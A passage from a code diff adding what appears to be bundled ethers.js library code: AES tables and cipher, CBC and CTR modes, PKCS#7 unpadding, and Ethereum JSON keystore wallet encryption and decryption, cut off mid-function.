0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46]; + const U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d]; + function convertToInt32(bytes) { + const result = []; + for (let i = 0; i < bytes.length; i += 4) { + result.push((bytes[i] << 24) | (bytes[i + 1] << 16) | (bytes[i + 2] << 8) | bytes[i + 3]); + } + return result; + } + class AES { + get key() { return __classPrivateFieldGet$2(this, _AES_key, "f").slice(); } + constructor(key) { + _AES_key.set(this, void 0); + _AES_Kd.set(this, void 0); + _AES_Ke.set(this, void 0); + if (!(this instanceof AES)) { + throw Error('AES must be instanitated with `new`'); + } + __classPrivateFieldSet$2(this, _AES_key, new Uint8Array(key), "f"); + const rounds = numberOfRounds[this.key.length]; + if (rounds == null) { + throw new TypeError('invalid key size (must be 16, 24 or 32 bytes)'); + } + // encryption round keys + __classPrivateFieldSet$2(this, _AES_Ke, [], "f"); + // decryption round keys + __classPrivateFieldSet$2(this, _AES_Kd, [], "f"); + for (let i = 0; i <= rounds; i++) { + __classPrivateFieldGet$2(this, _AES_Ke, "f").push([0, 0, 0, 0]); + __classPrivateFieldGet$2(this, _AES_Kd, "f").push([0, 0, 0, 0]); + } + const roundKeyCount = (rounds + 1) * 4; + const KC = this.key.length / 4; + // convert the key into ints + const tk = convertToInt32(this.key); + // copy values into round key arrays + let index; + for (let i = 0; i < KC; i++) { + index = i >> 2; + __classPrivateFieldGet$2(this, _AES_Ke, "f")[index][i % 4] = tk[i]; + __classPrivateFieldGet$2(this, _AES_Kd, "f")[rounds - index][i % 4] = tk[i]; + } + // key expansion (fips-197 section 5.2) + let rconpointer = 0; + let t = KC, tt; + while (t < roundKeyCount) { + tt = tk[KC - 1]; + tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^ + (S[(tt >> 8) & 0xFF] << 16) ^ + (S[tt & 0xFF] << 8) ^ + S[(tt >> 24) & 0xFF] ^ + (rcon[rconpointer] << 24)); + rconpointer += 1; + // key expansion (for non-256 bit) + if (KC != 8) { + for (let i = 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + // key expansion for 256-bit keys is "slightly different" (fips-197) + } + else { + for (let i = 1; i < (KC / 2); i++) { + tk[i] ^= tk[i - 1]; + } + tt = tk[(KC / 2) - 1]; + tk[KC / 2] ^= (S[tt & 0xFF] ^ + (S[(tt >> 8) & 0xFF] << 8) ^ + (S[(tt >> 16) & 0xFF] << 16) ^ + (S[(tt >> 24) & 0xFF] << 24)); + for (let i = (KC / 2) + 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + } + // copy values into round key arrays + let i = 0, r, c; + while (i < KC && t < roundKeyCount) { + r = t >> 2; + c = t % 4; + __classPrivateFieldGet$2(this, _AES_Ke, "f")[r][c] = tk[i]; + __classPrivateFieldGet$2(this, _AES_Kd, "f")[rounds - r][c] = tk[i++]; + t++; + } + } + // inverse-cipher-ify the decryption round key (fips-197 section 5.3) + for (let r = 1; r < rounds; r++) { + for (let c = 0; c < 4; c++) { + tt = __classPrivateFieldGet$2(this, _AES_Kd, "f")[r][c]; + __classPrivateFieldGet$2(this, _AES_Kd, "f")[r][c] = (U1[(tt >> 24) & 0xFF] ^ + U2[(tt >> 16) & 0xFF] ^ + U3[(tt >> 8) & 0xFF] ^ + U4[tt & 0xFF]); + } + } + } + encrypt(plaintext) { + if (plaintext.length != 16) { + throw new TypeError('invalid plaintext size (must be 16 bytes)'); + } + const rounds = __classPrivateFieldGet$2(this, _AES_Ke, "f").length - 1; + const a = [0, 0, 0, 0]; + // convert plaintext to (ints ^ key) + let t = convertToInt32(plaintext); + for (let i = 0; i < 4; i++) { + t[i] ^= __classPrivateFieldGet$2(this, _AES_Ke, "f")[0][i]; + } + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T1[(t[i] >> 24) & 0xff] ^ + T2[(t[(i + 1) % 4] >> 16) & 0xff] ^ + T3[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T4[t[(i + 3) % 4] & 0xff] ^ + __classPrivateFieldGet$2(this, _AES_Ke, "f")[r][i]); + } + t = a.slice(); + } + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = __classPrivateFieldGet$2(this, _AES_Ke, "f")[rounds][i]; + result[4 * i] = (S[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (S[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (S[t[(i + 3) % 4] & 0xff] ^ tt) & 0xff; + } + return result; + } + decrypt(ciphertext) { + if (ciphertext.length != 16) { + throw new TypeError('invalid ciphertext size (must be 16 bytes)'); + } + const rounds = __classPrivateFieldGet$2(this, _AES_Kd, "f").length - 1; + const a = [0, 0, 0, 0]; + // convert plaintext to (ints ^ key) + let t = convertToInt32(ciphertext); + for (let i = 0; i < 4; i++) { + t[i] ^= __classPrivateFieldGet$2(this, _AES_Kd, "f")[0][i]; + } + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T5[(t[i] >> 24) & 0xff] ^ + T6[(t[(i + 3) % 4] >> 16) & 0xff] ^ + T7[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T8[t[(i + 1) % 4] & 0xff] ^ + __classPrivateFieldGet$2(this, _AES_Kd, "f")[r][i]); + } + t = a.slice(); + } + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = __classPrivateFieldGet$2(this, _AES_Kd, "f")[rounds][i]; + result[4 * i] = (Si[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (Si[t[(i + 1) % 4] & 0xff] ^ tt) & 0xff; + } + return result; + } + } + _AES_key = new WeakMap(), _AES_Kd = new WeakMap(), _AES_Ke = new WeakMap(); + + class ModeOfOperation { + constructor(name, key, cls) { + if (cls && !(this instanceof cls)) { + throw new Error(`${name} must be instantiated with "new"`); + } + Object.defineProperties(this, { + aes: { enumerable: true, value: new AES(key) }, + name: { enumerable: true, value: name } + }); + } + } + + // Cipher Block Chaining + var __classPrivateFieldSet$1 = (__$G && __$G.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; + }; + var __classPrivateFieldGet$1 = (__$G && __$G.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); + }; + var _CBC_iv, _CBC_lastBlock; + class CBC extends ModeOfOperation { + constructor(key, iv) { + super("ECC", key, CBC); + _CBC_iv.set(this, void 0); + _CBC_lastBlock.set(this, void 0); + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + __classPrivateFieldSet$1(this, _CBC_iv, new Uint8Array(iv), "f"); + } + else { + __classPrivateFieldSet$1(this, _CBC_iv, new Uint8Array(16), "f"); + } + __classPrivateFieldSet$1(this, _CBC_lastBlock, this.iv, "f"); + } + get iv() { return new Uint8Array(__classPrivateFieldGet$1(this, _CBC_iv, "f")); } + encrypt(plaintext) { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + const ciphertext = new Uint8Array(plaintext.length); + for (let i = 0; i < plaintext.length; i += 16) { + for (let j = 0; j < 16; j++) { + __classPrivateFieldGet$1(this, _CBC_lastBlock, "f")[j] ^= plaintext[i + j]; + } + __classPrivateFieldSet$1(this, _CBC_lastBlock, this.aes.encrypt(__classPrivateFieldGet$1(this, _CBC_lastBlock, "f")), "f"); + ciphertext.set(__classPrivateFieldGet$1(this, _CBC_lastBlock, "f"), i); + } + return ciphertext; + } + decrypt(ciphertext) { + if (ciphertext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + const plaintext = new Uint8Array(ciphertext.length); + for (let i = 0; i < ciphertext.length; i += 16) { + const block = this.aes.decrypt(ciphertext.subarray(i, i + 16)); + for (let j = 0; j < 16; j++) { + plaintext[i + j] = block[j] ^ __classPrivateFieldGet$1(this, _CBC_lastBlock, "f")[j]; + __classPrivateFieldGet$1(this, _CBC_lastBlock, "f")[j] = ciphertext[i + j]; + } + } + return plaintext; + } + } + _CBC_iv = new WeakMap(), _CBC_lastBlock = new WeakMap(); + + // Counter Mode + var __classPrivateFieldSet = (__$G && __$G.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; + }; + var __classPrivateFieldGet = (__$G && __$G.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); + }; + var _CTR_remaining, _CTR_remainingIndex, _CTR_counter; + class CTR extends ModeOfOperation { + constructor(key, initialValue) { + super("CTR", key, CTR); + // Remaining bytes for the one-time pad + _CTR_remaining.set(this, void 0); + _CTR_remainingIndex.set(this, void 0); + // The current counter + _CTR_counter.set(this, void 0); + __classPrivateFieldSet(this, _CTR_counter, new Uint8Array(16), "f"); + __classPrivateFieldGet(this, _CTR_counter, "f").fill(0); + __classPrivateFieldSet(this, _CTR_remaining, __classPrivateFieldGet(this, _CTR_counter, "f"), "f"); // This will be discarded immediately + __classPrivateFieldSet(this, _CTR_remainingIndex, 16, "f"); + if (initialValue == null) { + initialValue = 1; + } + if (typeof (initialValue) === "number") { + this.setCounterValue(initialValue); + } + else { + this.setCounterBytes(initialValue); + } + } + get counter() { return new Uint8Array(__classPrivateFieldGet(this, _CTR_counter, "f")); } + setCounterValue(value) { + if (!Number.isInteger(value) || value < 0 || value > Number.MAX_SAFE_INTEGER) { + throw new TypeError("invalid counter initial integer value"); + } + for (let index = 15; index >= 0; --index) { + __classPrivateFieldGet(this, _CTR_counter, "f")[index] = value % 256; + value = Math.floor(value / 256); + } + } + setCounterBytes(value) { + if (value.length !== 16) { + throw new TypeError("invalid counter initial Uint8Array value length"); + } + __classPrivateFieldGet(this, _CTR_counter, "f").set(value); + } + increment() { + for (let i = 15; i >= 0; i--) { + if (__classPrivateFieldGet(this, _CTR_counter, "f")[i] === 255) { + __classPrivateFieldGet(this, _CTR_counter, "f")[i] = 0; + } + else { + __classPrivateFieldGet(this, _CTR_counter, "f")[i]++; + break; + } + } + } + encrypt(plaintext) { + var _a, _b; + const crypttext = new Uint8Array(plaintext); + for (let i = 0; i < crypttext.length; i++) { + if (__classPrivateFieldGet(this, _CTR_remainingIndex, "f") === 16) { + __classPrivateFieldSet(this, _CTR_remaining, this.aes.encrypt(__classPrivateFieldGet(this, _CTR_counter, "f")), "f"); + __classPrivateFieldSet(this, _CTR_remainingIndex, 0, "f"); + this.increment(); + } + crypttext[i] ^= __classPrivateFieldGet(this, _CTR_remaining, "f")[__classPrivateFieldSet(this, _CTR_remainingIndex, (_b = __classPrivateFieldGet(this, _CTR_remainingIndex, "f"), _a = _b++, _b), "f"), _a]; + } + return crypttext; + } + decrypt(ciphertext) { + return this.encrypt(ciphertext); + } + } + _CTR_remaining = new WeakMap(), _CTR_remainingIndex = new WeakMap(), _CTR_counter = new WeakMap(); + + function pkcs7Strip(data) { + if (data.length < 16) { + throw new TypeError('PKCS#7 invalid length'); + } + const padder = data[data.length - 1]; + if (padder > 16) { + throw new TypeError('PKCS#7 padding byte out of range'); + } + const length = data.length - padder; + for (let i = 0; i < padder; i++) { + if (data[length + i] !== padder) { + throw new TypeError('PKCS#7 invalid padding byte'); + } + } + return new Uint8Array(data.subarray(0, length)); + } + + /** + * @_ignore + */ + function looseArrayify(hexString) { + if (typeof (hexString) === "string" && !hexString.startsWith("0x")) { + hexString = "0x" + hexString; + } + return getBytesCopy(hexString); + } + function zpad$1(value, length) { + value = String(value); + while (value.length < length) { + value = '0' + value; + } + return value; + } + function getPassword(password) { + if (typeof (password) === 'string') { + return toUtf8Bytes(password, "NFKC"); + } + return getBytesCopy(password); + } + function spelunk(object, _path) { + const match = _path.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i); + assertArgument(match != null, "invalid path", "path", _path); + const path = match[1]; + const type = match[3]; + const reqd = (match[4] === "!"); + let cur = object; + for (const comp of path.toLowerCase().split('.')) { + // Search for a child object with a case-insensitive matching key + if (Array.isArray(cur)) { + if (!comp.match(/^[0-9]+$/)) { + break; + } + cur = cur[parseInt(comp)]; + } + else if (typeof (cur) === "object") { + let found = null; + for (const key in cur) { + if (key.toLowerCase() === comp) { + found = cur[key]; + break; + } + } + cur = found; + } + else { + cur = null; + } + if (cur == null) { + break; + } + } + assertArgument(!reqd || cur != null, "missing required value", "path", path); + if (type && cur != null) { + if (type === "int") { + if (typeof (cur) === "string" && cur.match(/^-?[0-9]+$/)) { + return parseInt(cur); + } + else if (Number.isSafeInteger(cur)) { + return cur; + } + } + if (type === "number") { + if (typeof (cur) === "string" && cur.match(/^-?[0-9.]*$/)) { + return parseFloat(cur); + } + } + if (type === "data") { + if (typeof (cur) === "string") { + return looseArrayify(cur); + } + } + if (type === "array" && Array.isArray(cur)) { + return cur; + } + if (type === typeof (cur)) { + return cur; + } + assertArgument(false, `wrong type found for ${type} `, "path", path); + } + return cur; + } + /* + export function follow(object: any, path: string): null | string { + let currentChild = object; + + for (const comp of path.toLowerCase().split('/')) { + + // Search for a child object with a case-insensitive matching key + let matchingChild = null; + for (const key in currentChild) { + if (key.toLowerCase() === comp) { + matchingChild = currentChild[key]; + break; + } + } + + if (matchingChild === null) { return null; } + + currentChild = matchingChild; + } + + return currentChild; + } + + // "path/to/something:type!" + export function followRequired(data: any, path: string): string { + const value = follow(data, path); + if (value != null) { return value; } + return logger.throwArgumentError("invalid value", `data:${ path }`, + JSON.stringify(data)); + } + */ + // See: https://www.ietf.org/rfc/rfc4122.txt (Section 4.4) + /* + export function uuidV4(randomBytes: BytesLike): string { + const bytes = getBytes(randomBytes, "randomBytes"); + + // Section: 4.1.3: + // - time_hi_and_version[12:16] = 0b0100 + bytes[6] = (bytes[6] & 0x0f) | 0x40; + + // Section 4.4 + // - clock_seq_hi_and_reserved[6] = 0b0 + // - clock_seq_hi_and_reserved[7] = 0b1 + bytes[8] = (bytes[8] & 0x3f) | 0x80; + + const value = hexlify(bytes); + + return [ + value.substring(2, 10), + value.substring(10, 14), + value.substring(14, 18), + value.substring(18, 22), + value.substring(22, 34), + ].join("-"); + } + */ + + /** + * The JSON Wallet formats allow a simple way to store the private + * keys needed in Ethereum along with related information and allows + * for extensible forms of encryption. + * + * These utilities facilitate decrypting and encrypting the most common + * JSON Wallet formats. + * + * @_subsection: api/wallet:JSON Wallets [json-wallets] + */ + const defaultPath$1 = "m/44'/60'/0'/0/0"; + /** + * Returns true if %%json%% is a valid JSON Keystore Wallet. + */ + function isKeystoreJson(json) { + try { + const data = JSON.parse(json); + const version = ((data.version != null) ? parseInt(data.version) : 0); + if (version === 3) { + return true; + } + } + catch (error) { } + return false; + } + function decrypt(data, key, ciphertext) { + const cipher = spelunk(data, "crypto.cipher:string"); + if (cipher === "aes-128-ctr") { + const iv = spelunk(data, "crypto.cipherparams.iv:data!"); + const aesCtr = new CTR(key, iv); + return hexlify(aesCtr.decrypt(ciphertext)); + } + assert(false, "unsupported cipher", "UNSUPPORTED_OPERATION", { + operation: "decrypt" + }); + } + function getAccount(data, _key) { + const key = getBytes(_key); + const ciphertext = spelunk(data, "crypto.ciphertext:data!"); + const computedMAC = hexlify(keccak256(concat([key.slice(16, 32), ciphertext]))).substring(2); + assertArgument(computedMAC === spelunk(data, "crypto.mac:string!").toLowerCase(), "incorrect password", "password", "[ REDACTED ]"); + const privateKey = decrypt(data, key.slice(0, 16), ciphertext); + const address = computeAddress(privateKey); + if (data.address) { + let check = data.address.toLowerCase(); + if (!check.startsWith("0x")) { + check = "0x" + check; + } + assertArgument(getAddress(check) === address, "keystore address/privateKey mismatch", "address", data.address); + } + const account = { address, privateKey }; + // Version 0.1 x-ethers metadata must contain an encrypted mnemonic phrase + const version = spelunk(data, "x-ethers.version:string"); + if (version === "0.1") { + const mnemonicKey = key.slice(32, 64); + const mnemonicCiphertext = spelunk(data, "x-ethers.mnemonicCiphertext:data!"); + const mnemonicIv = spelunk(data, "x-ethers.mnemonicCounter:data!"); + const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv); + account.mnemonic = { + path: (spelunk(data, "x-ethers.path:string") || defaultPath$1), + locale: (spelunk(data, "x-ethers.locale:string") || "en"), + entropy: hexlify(getBytes(mnemonicAesCtr.decrypt(mnemonicCiphertext))) + }; + } + return account; + } + function getDecryptKdfParams(data) { + const kdf = spelunk(data, "crypto.kdf:string"); + if (kdf && typeof (kdf) === "string") { + if (kdf.toLowerCase() === "scrypt") { + const salt = spelunk(data, "crypto.kdfparams.salt:data!"); + const N = spelunk(data, "crypto.kdfparams.n:int!"); + const r = spelunk(data, "crypto.kdfparams.r:int!"); + const p = spelunk(data, "crypto.kdfparams.p:int!"); + // Make sure N is a power of 2 + assertArgument(N > 0 && (N & (N - 1)) === 0, "invalid kdf.N", "kdf.N", N); + assertArgument(r > 0 && p > 0, "invalid kdf", "kdf", kdf); + const dkLen = spelunk(data, "crypto.kdfparams.dklen:int!"); + assertArgument(dkLen === 32, "invalid kdf.dklen", "kdf.dflen", dkLen); + return { name: "scrypt", salt, N, r, p, dkLen: 64 }; + } + else if (kdf.toLowerCase() === "pbkdf2") { + const salt = spelunk(data, "crypto.kdfparams.salt:data!"); + const prf = spelunk(data, "crypto.kdfparams.prf:string!"); + const algorithm = prf.split("-").pop(); + assertArgument(algorithm === "sha256" || algorithm === "sha512", "invalid kdf.pdf", "kdf.pdf", prf); + const count = spelunk(data, "crypto.kdfparams.c:int!"); + const dkLen = spelunk(data, "crypto.kdfparams.dklen:int!"); + assertArgument(dkLen === 32, "invalid kdf.dklen", "kdf.dklen", dkLen); + return { name: "pbkdf2", salt, count, dkLen, algorithm }; + } + } + assertArgument(false, "unsupported key-derivation function", "kdf", kdf); + } + /** + * Returns the account details for the JSON Keystore Wallet %%json%% + * using %%password%%. + * + * It is preferred to use the [async version](decryptKeystoreJson) + * instead, which allows a [[ProgressCallback]] to keep the user informed + * as to the decryption status. + * + * This method will block the event loop (freezing all UI) until decryption + * is complete, which can take quite some time, depending on the wallet + * paramters and platform. + */ + function decryptKeystoreJsonSync(json, _password) { + const data = JSON.parse(json); + const password = getPassword(_password); + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + const { salt, count, dkLen, algorithm } = params; + const key = pbkdf2(password, salt, count, dkLen, algorithm); + return getAccount(data, key); + } + assert(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }); + const { salt, N, r, p, dkLen } = params; + const key = scryptSync(password, salt, N, r, p, dkLen); + return getAccount(data, key); + } + function stall$1(duration) { + return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); }); + } + /** + * Resolves to the decrypted JSON Keystore Wallet %%json%% using the + * %%password%%. + * + * If provided, %%progress%% will be called periodically during the + * decrpytion to provide feedback, and if the function returns + * ``false`` will halt decryption. + * + * The %%progressCallback%% will **always** receive ``0`` before + * decryption begins and ``1`` when complete. + */ + async function decryptKeystoreJson(json, _password, progress) { + const data = JSON.parse(json); + const password = getPassword(_password); + const params = getDecryptKdfParams(data); + if (params.name === "pbkdf2") { + if (progress) { + progress(0); + await stall$1(0); + } + const { salt, count, dkLen, algorithm } = params; + const key = pbkdf2(password, salt, count, dkLen, algorithm); + if (progress) { + progress(1); + await stall$1(0); + } + return getAccount(data, key); + } + assert(params.name === "scrypt", "cannot be reached", "UNKNOWN_ERROR", { params }); + const { salt, N, r, p, dkLen } = params; + const key = await scrypt(password, salt, N, r, p, dkLen, progress); + return getAccount(data, key); + } + function getEncryptKdfParams(options) { + // Check/generate the salt + const salt = (options.salt != null) ? getBytes(options.salt, "options.salt") : randomBytes(32); + // Override the scrypt password-based key derivation function parameters + let N = (1 << 17), r = 8, p = 1; + if (options.scrypt) { + if (options.scrypt.N) { + N = options.scrypt.N; + } + if (options.scrypt.r) { + r = options.scrypt.r; + } + if (options.scrypt.p) { + p = options.scrypt.p; + } + } + assertArgument(typeof (N) === "number" && N > 0 && Number.isSafeInteger(N) && (BigInt(N) & BigInt(N - 1)) === BigInt(0), "invalid scrypt N parameter", "options.N", N); + assertArgument(typeof (r) === "number" && r > 0 && Number.isSafeInteger(r), "invalid scrypt r parameter", "options.r", r); + assertArgument(typeof (p) === "number" && p > 0 && Number.isSafeInteger(p), "invalid scrypt p parameter", "options.p", p); + return { name: "scrypt", dkLen: 32, salt, N, r, p }; + } + function _encryptKeystore(key, kdf, account, options) { + const privateKey = getBytes(account.privateKey, "privateKey"); + // Override initialization vector + const iv = (options.iv != null) ? getBytes(options.iv, "options.iv") : randomBytes(16); + assertArgument(iv.length === 16, "invalid options.iv length", "options.iv", options.iv); + // Override the uuid + const uuidRandom = (options.uuid != null) ? getBytes(options.uuid, "options.uuid") : randomBytes(16); + assertArgument(uuidRandom.length === 16, "invalid options.uuid length", "options.uuid", options.iv); + // This will be used to encrypt the wallet (as per Web3 secret storage) + // - 32 bytes As normal for the Web3 secret storage (derivedKey, macPrefix) + // - 32 bytes AES key to encrypt mnemonic with (required here to be Ethers Wallet) + const derivedKey = key.slice(0, 16); + const macPrefix = key.slice(16, 32); + // Encrypt the private key + const aesCtr = new CTR(derivedKey, iv); + const ciphertext = getBytes(aesCtr.encrypt(privateKey)); + // Compute the message authentication code, used to check the password + const mac = keccak256(concat([macPrefix, ciphertext])); + // See: https://github.com/ethereum/wiki/wiki/Web3-Secret-Storage-Definition + const data = { + address: account.address.substring(2).toLowerCase(), + id: uuidV4(uuidRandom), + version: 3, + Crypto: { + cipher: "aes-128-ctr", + cipherparams: { + iv: hexlify(iv).substring(2), + }, + ciphertext: hexlify(ciphertext).substring(2), + kdf: "scrypt", + kdfparams: { + salt: hexlify(kdf.salt).substring(2), + n: kdf.N, + dklen: 32, + p: kdf.p, + r: kdf.r + }, + mac: mac.substring(2) + } + }; + // If we have a mnemonic, encrypt it into the JSON wallet + if (account.mnemonic) { + const client = (options.client != null) ? options.client : `ethers/${version}`; + const path = account.mnemonic.path || defaultPath$1; + const locale = account.mnemonic.locale || "en"; + const mnemonicKey = key.slice(32, 64); + const entropy = getBytes(account.mnemonic.entropy, "account.mnemonic.entropy"); + const mnemonicIv = randomBytes(16); + const mnemonicAesCtr = new CTR(mnemonicKey, mnemonicIv); + const mnemonicCiphertext = getBytes(mnemonicAesCtr.encrypt(entropy)); + const now = new Date(); + const timestamp = (now.getUTCFullYear() + "-" + + zpad$1(now.getUTCMonth() + 1, 2) + "-" + + zpad$1(now.getUTCDate(), 2) + "T" + + zpad$1(now.getUTCHours(), 2) + "-" + + zpad$1(now.getUTCMinutes(), 2) + "-" + + zpad$1(now.getUTCSeconds(), 2) + ".0Z"); + const gethFilename = ("UTC--" + timestamp + "--" + data.address); + data["x-ethers"] = { + client, gethFilename, path, locale, + mnemonicCounter: hexlify(mnemonicIv).substring(2), + mnemonicCiphertext: 